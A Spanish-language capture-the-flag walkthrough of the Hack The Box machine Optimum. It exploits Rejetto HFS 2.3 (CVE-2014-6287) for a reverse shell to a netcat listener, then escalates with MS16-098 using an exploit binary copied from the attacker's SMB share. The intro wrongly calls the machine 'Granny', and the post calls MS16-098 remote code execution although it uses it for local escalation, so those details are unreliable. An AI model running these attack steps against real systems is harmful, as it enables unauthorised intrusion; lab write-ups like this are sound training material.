Optimum

¡Hola, hacker! ¡Bienvenid@ a un nuevo post!

En este artículo, abordaremos la resolución de la máquina Granny de la plataforma Hack The Box. Primero, ganaremos acceso al sistema explotando una vulnerabilidad de ejecución remota de código (RCE). Esta vulnerabilidad, identificada como CVE-2014-6287, afecta a la aplicación Rejetto HTTP File Server (HFS) versión 2.3. Luego, para escalar nuestros privilegios, explotaremos la vulnerabilidad MS16-098, que se refiere a una falla de seguridad en los controladores de modo kernel de Microsoft Windows, específicamente en la gestión de objetos en la memoria por parte del kernel.

Reconocimiento

Iniciamos como siempre, lanzando una traza ICMP a la máquina objetivo para comprobar que tengamos conectividad.

Vemos que responde al envío de nuestro paquete, verificando de esta manera que tenemos conectividad. Por otra parte, confirmamos que estamos frente a una máquina Windows basandonos en el TTL (Time To Live) 127.

Enumeración

Descubrimiento de puertos abiertos

Realizamos un escaneo con nmap para descubrir que puertos TCP se encuentran abiertos en la máquina víctima.

nmap -sS -p- --open --min-rate 5000 10.10.10.8 -n -Pn -oG scanPorts -vvv

Enumeración de versión y servicio

Lanzamos una serie de script básicos de enumeración propios de nmap, para conocer la versión y servicio que esta corriendo bajo los puertos abiertos.

nmap -sCV -p80 10.10.10.8 -oN targeted -vvv

Web

Si ingresamos a la web que esta corriendo bajo el puerto 80, nos encontramos con el servicio HttpFileServer http 2.3.

Explotación

Si hacemos una busqueda utilizando la herramienta searchsploit, vemos que esta versión especifica de este servicio HttpFileServer http 2.3 es vulnerable a RCE (Remote Command Execution).

Nos traemos el exploit a nuestro directorio y lo renombramos como hfs_exploit.py.

Cambiamos el valor de la variable ip_addr a la que nos asigna la VPN de Hack The Box (en este caso 10.10.14.2).

Creamos un servidor HTTP con Python por le puerto 80 para compartir nc.exe y por otra parte nos ponemos en escucha con netcat por el puerto 443 (o el que hayamos indicado en el exploit).

Hay que tener en cuenta, que debemos ejecutar el exploit dos veces. Esto se debe, a que la primera vez se descarga el exploit y el binario de nc.exe y luego se lanza la reverse shell.

Creamos el servidor HTTP con Python:

python3 -m http.server 80

httpgo, es una utilidad que tengo en la .zshrc:

alias httpgo='python3 -m http.server 80'

Nos ponemos en escucha con netcat por el puerto 443.

rlwrap nc -lnvp 443

Ejecutamos el exploit.

python2 hfs_exploit.py 10.10.10.8 80

Ganamos acceso al sistema como el usuario kostas.

Leemos el flag de user.txt.

Escalación de privilegios

Para escalar nuestros privilegios, utilizamos Windows Exploit Suggester.

En primer lugar, debemos guardar el resultado de la ejecución del comando systeminfo en un archivo, por ejemplo: systeminfo.txt.

Luego, debemos ejecutar el siguiente comando:

python3 wes.py -e systeminfo.txt -i 'Elevation of Privilege'

El resultado de este script, nos revelara posibles formas de elevar nuestros privilegios, filtrando por aquellos que cuenten con un exploit público.

En este caso, la vulnerabilidad que estaremos explotando para escalar privilegios es la identificada como MS16-098.

La vulnerabilidad MS16-098 se refiere a una falla de seguridad en los controladores de modo kernel de Microsoft Windows, específicamente en cómo el controlador del kernel maneja objetos en la memoria. Esta vulnerabilidad permite la ejecución remota de código si un atacante envía una solicitud especialmente diseñada al sistema objetivo.

Como solución, es recomendado aplicar la actualización de seguridad proporcionada por Microsoft, que corrige cómo el controlador del kernel maneja los objetos en la memoria.

El exploit a utilizar es este.

Lo descargamos a nuestra máquina y creamos un recurso compartido con impacket-smbserver para poder transferir el exploit a la máquina víctima.

Creamos el recurso compartido.

impacket-smbserver -smb2support sharedFolder .

Descargamos el exploit.

copy \\10.10.14.2\sharedFolder\41020.exe 41020.exe

Ejecutamos el exploit y escalamos a NT Authority\System.

De esta forma, logramos escalar nuestros privilegios.

Por ultimo, leemos el flag de root.txt.

De esta manera, concluimos la resolución de la máquina Optimum.

Espero que los conceptos hayan quedado claros y hayas disfrutado del contenido.

¡Gracias por leer!

Happy Hacking!

Última actualización